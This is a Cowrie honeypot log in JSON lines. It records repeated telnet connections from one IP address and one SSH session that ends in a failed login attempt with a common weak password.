{"eventid":"cowrie.session.closed","duration":30.73071551322937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:01.044475Z","src_ip":"5.196.58.99","session":"e9403af7a0ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55216,"dst_ip":"10.17.0.5","dst_port":23,"session":"10fa083742d3","protocol":"telnet","message":"New connection: 5.196.58.99:55216 (10.17.0.5:23) [session: 10fa083742d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:01.353269Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55224,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c08db1397de","protocol":"telnet","message":"New connection: 5.196.58.99:55224 (10.17.0.5:23) [session: 1c08db1397de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:01.419855Z"}
{"eventid":"cowrie.session.closed","duration":31.408270597457886,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:01.727762Z","src_ip":"5.196.58.99","session":"ec03bbfd1014","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.903034210205078,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:01.866322Z","src_ip":"5.196.58.99","session":"bda1fda1c3bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55240,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf482eb9540a","protocol":"telnet","message":"New connection: 5.196.58.99:55240 (10.17.0.5:23) [session: cf482eb9540a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:01.999722Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":51020,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3cd78cfe365","protocol":"telnet","message":"New connection: 20.123.41.163:51020 (10.17.0.5:23) [session: b3cd78cfe365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:02.137782Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55242,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f97aea0eec4","protocol":"telnet","message":"New connection: 5.196.58.99:55242 (10.17.0.5:23) [session: 4f97aea0eec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:02.569767Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55254,"dst_ip":"10.17.0.5","dst_port":23,"session":"043e43bf6a1e","protocol":"telnet","message":"New connection: 5.196.58.99:55254 (10.17.0.5:23) [session: 043e43bf6a1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:02.687670Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55262,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f19e331bcbb","protocol":"telnet","message":"New connection: 5.196.58.99:55262 (10.17.0.5:23) [session: 5f19e331bcbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:02.788039Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55276,"dst_ip":"10.17.0.5","dst_port":23,"session":"958f6cf6bad2","protocol":"telnet","message":"New connection: 5.196.58.99:55276 (10.17.0.5:23) [session: 958f6cf6bad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:03.130757Z"}
{"eventid":"cowrie.session.closed","duration":31.52054715156555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:03.480180Z","src_ip":"5.196.58.99","session":"c174508d8cf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.773685216903687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:03.489410Z","src_ip":"5.196.58.99","session":"ea43f7654e14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40468,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dca55aefee0","protocol":"telnet","message":"New connection: 5.196.58.99:40468 (10.17.0.5:23) [session: 7dca55aefee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:03.839275Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40472,"dst_ip":"10.17.0.5","dst_port":23,"session":"a82fe11e88b7","protocol":"telnet","message":"New connection: 5.196.58.99:40472 (10.17.0.5:23) [session: a82fe11e88b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:03.851233Z"}
{"eventid":"cowrie.session.closed","duration":31.14871096611023,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:03.944470Z","src_ip":"5.196.58.99","session":"27fc7c3d23d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.119190454483032,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:04.041420Z","src_ip":"5.196.58.99","session":"4b660d901ef6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.800643920898438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:04.422020Z","src_ip":"5.196.58.99","session":"89fd471ad226","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40490,"dst_ip":"10.17.0.5","dst_port":23,"session":"b278c08bce1e","protocol":"telnet","message":"New connection: 5.196.58.99:40490 (10.17.0.5:23) [session: b278c08bce1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:05.903200Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40498,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8bfaa93be11","protocol":"telnet","message":"New connection: 5.196.58.99:40498 (10.17.0.5:23) [session: c8bfaa93be11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:05.908547Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40502,"dst_ip":"10.17.0.5","dst_port":23,"session":"068ae9e03dcc","protocol":"telnet","message":"New connection: 5.196.58.99:40502 (10.17.0.5:23) [session: 068ae9e03dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:06.227546Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40510,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd9e4902bb09","protocol":"telnet","message":"New connection: 5.196.58.99:40510 (10.17.0.5:23) [session: dd9e4902bb09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:06.328219Z"}
{"eventid":"cowrie.session.closed","duration":31.630783081054688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:06.714416Z","src_ip":"5.196.58.99","session":"235fe21c11be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40516,"dst_ip":"10.17.0.5","dst_port":23,"session":"22f2ed3d83c9","protocol":"telnet","message":"New connection: 5.196.58.99:40516 (10.17.0.5:23) [session: 22f2ed3d83c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:06.802404Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40520,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6099d594f31","protocol":"telnet","message":"New connection: 5.196.58.99:40520 (10.17.0.5:23) [session: e6099d594f31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:07.807794Z"}
{"eventid":"cowrie.session.closed","duration":31.795153856277466,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:07.992222Z","src_ip":"5.196.58.99","session":"fb525548af7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40524,"dst_ip":"10.17.0.5","dst_port":23,"session":"e446277a6825","protocol":"telnet","message":"New connection: 5.196.58.99:40524 (10.17.0.5:23) [session: e446277a6825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:08.217661Z"}
{"eventid":"cowrie.session.closed","duration":31.1820809841156,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:08.275581Z","src_ip":"5.196.58.99","session":"24544014538f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78292202949524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:08.423452Z","src_ip":"5.196.58.99","session":"15dcbe15fdba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40530,"dst_ip":"10.17.0.5","dst_port":23,"session":"4eb882448354","protocol":"telnet","message":"New connection: 5.196.58.99:40530 (10.17.0.5:23) [session: 4eb882448354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:08.535465Z"}
{"eventid":"cowrie.session.closed","duration":30.883883476257324,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:08.633358Z","src_ip":"5.196.58.99","session":"79abeaf6ac00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.965274810791016,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:08.995693Z","src_ip":"5.196.58.99","session":"d7a48d014f1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.01080632209778,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:09.005249Z","src_ip":"5.196.58.99","session":"a0860a0faee2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.21253204345703,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:09.069583Z","src_ip":"5.196.58.99","session":"48e49427483f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40546,"dst_ip":"10.17.0.5","dst_port":23,"session":"743e5dd0f5de","protocol":"telnet","message":"New connection: 5.196.58.99:40546 (10.17.0.5:23) [session: 743e5dd0f5de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:09.903839Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40540,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1b6d5dc9257","protocol":"telnet","message":"New connection: 5.196.58.99:40540 (10.17.0.5:23) [session: a1b6d5dc9257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:10.354085Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40552,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3cf3ba0f92d","protocol":"telnet","message":"New connection: 5.196.58.99:40552 (10.17.0.5:23) [session: a3cf3ba0f92d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:10.363213Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40564,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e9583caabf7","protocol":"telnet","message":"New connection: 5.196.58.99:40564 (10.17.0.5:23) [session: 5e9583caabf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:10.688931Z"}
{"eventid":"cowrie.session.closed","duration":31.492103338241577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:10.835503Z","src_ip":"5.196.58.99","session":"390ac6501856","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40574,"dst_ip":"10.17.0.5","dst_port":23,"session":"c93caa259187","protocol":"telnet","message":"New connection: 5.196.58.99:40574 (10.17.0.5:23) [session: c93caa259187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:11.000952Z"}
{"eventid":"cowrie.session.closed","duration":30.409000635147095,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:11.123693Z","src_ip":"5.196.58.99","session":"747f89272a82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.080710887908936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:11.203937Z","src_ip":"5.196.58.99","session":"87a561a38296","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40584,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f4ffe4208c7","protocol":"telnet","message":"New connection: 5.196.58.99:40584 (10.17.0.5:23) [session: 0f4ffe4208c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:11.248686Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40628,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6d3cd8e6d1b","protocol":"telnet","message":"New connection: 5.196.58.99:40628 (10.17.0.5:23) [session: e6d3cd8e6d1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:12.264123Z"}
{"eventid":"cowrie.session.closed","duration":31.11401653289795,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:12.705054Z","src_ip":"5.196.58.99","session":"c81661076794","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09726095199585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:12.710052Z","src_ip":"5.196.58.99","session":"3e74b58be114","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40598,"dst_ip":"10.17.0.5","dst_port":23,"session":"13a7f295cff4","protocol":"telnet","message":"New connection: 5.196.58.99:40598 (10.17.0.5:23) [session: 13a7f295cff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:12.846157Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40612,"dst_ip":"10.17.0.5","dst_port":23,"session":"14ef35d993c5","protocol":"telnet","message":"New connection: 5.196.58.99:40612 (10.17.0.5:23) [session: 14ef35d993c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:13.068121Z"}
{"eventid":"cowrie.session.closed","duration":30.81775450706482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:13.085882Z","src_ip":"5.196.58.99","session":"492796e55676","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.893002033233643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:14.148536Z","src_ip":"5.196.58.99","session":"b181c1ae32cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.017829179763794,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:14.314232Z","src_ip":"5.196.58.99","session":"187a6d2f8501","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15698218345642,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:14.850547Z","src_ip":"5.196.58.99","session":"51a6ebfbf2ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.137304306030273,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:15.178206Z","src_ip":"5.196.58.99","session":"a270a19d3926","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.400326251983643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:15.199035Z","src_ip":"5.196.58.99","session":"7cd0027c3d28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":34402,"dst_ip":"10.17.0.5","dst_port":22,"session":"e489aac066ef","protocol":"ssh","message":"New connection: 209.99.189.177:34402 (10.17.0.5:22) [session: e489aac066ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:15.621115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:15.626157Z","src_ip":"209.99.189.177","session":"e489aac066ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54590,"dst_ip":"10.17.0.5","dst_port":23,"session":"50b98e357b1f","protocol":"telnet","message":"New connection: 5.196.58.99:54590 (10.17.0.5:23) [session: 50b98e357b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:15.654606Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:15.755240Z","src_ip":"209.99.189.177","session":"e489aac066ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.14077854156494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:16.042034Z","src_ip":"5.196.58.99","session":"72657fba3807","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.325645923614502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:16.064908Z","src_ip":"5.196.58.99","session":"002ce4f0ef0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54596,"dst_ip":"10.17.0.5","dst_port":23,"session":"33aead793bb8","protocol":"telnet","message":"New connection: 5.196.58.99:54596 (10.17.0.5:23) [session: 33aead793bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:16.131706Z"}
{"eventid":"cowrie.session.closed","duration":30.94394278526306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:16.220552Z","src_ip":"5.196.58.99","session":"65c5728657d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54606,"dst_ip":"10.17.0.5","dst_port":23,"session":"92820efd246c","protocol":"telnet","message":"New connection: 5.196.58.99:54606 (10.17.0.5:23) [session: 92820efd246c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:16.225652Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54620,"dst_ip":"10.17.0.5","dst_port":23,"session":"94ba2de3092b","protocol":"telnet","message":"New connection: 5.196.58.99:54620 (10.17.0.5:23) [session: 94ba2de3092b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:16.292878Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwerty1234","message":"login attempt [user/qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:16.305082Z","src_ip":"209.99.189.177","session":"e489aac066ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.59579610824585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:16.506497Z","src_ip":"5.196.58.99","session":"1761a41f5dd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54636,"dst_ip":"10.17.0.5","dst_port":23,"session":"b19007299d56","protocol":"telnet","message":"New connection: 5.196.58.99:54636 (10.17.0.5:23) [session: b19007299d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:16.551149Z"}
{"eventid":"cowrie.session.closed","duration":31.28230357170105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:16.995648Z","src_ip":"5.196.58.99","session":"3f9c8ee813ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54650,"dst_ip":"10.17.0.5","dst_port":23,"session":"be6ecf819095","protocol":"telnet","message":"New connection: 5.196.58.99:54650 (10.17.0.5:23) [session: be6ecf819095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:17.359017Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:17.437480Z","src_ip":"209.99.189.177","session":"e489aac066ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54664,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f32003665d9","protocol":"telnet","message":"New connection: 5.196.58.99:54664 (10.17.0.5:23) [session: 2f32003665d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:17.543690Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54670,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b32f41076e6","protocol":"telnet","message":"New connection: 5.196.58.99:54670 (10.17.0.5:23) [session: 0b32f41076e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:17.601232Z"}
{"eventid":"cowrie.session.closed","duration":31.26828908920288,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:17.740762Z","src_ip":"5.196.58.99","session":"4cc4891ac0c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54674,"dst_ip":"10.17.0.5","dst_port":23,"session":"c870ac47efd6","protocol":"telnet","message":"New connection: 5.196.58.99:54674 (10.17.0.5:23) [session: c870ac47efd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:17.762504Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54676,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c9027bf4b64","protocol":"telnet","message":"New connection: 5.196.58.99:54676 (10.17.0.5:23) [session: 0c9027bf4b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:17.789999Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54684,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb116fc676ee","protocol":"telnet","message":"New connection: 5.196.58.99:54684 (10.17.0.5:23) [session: cb116fc676ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:17.983694Z"}
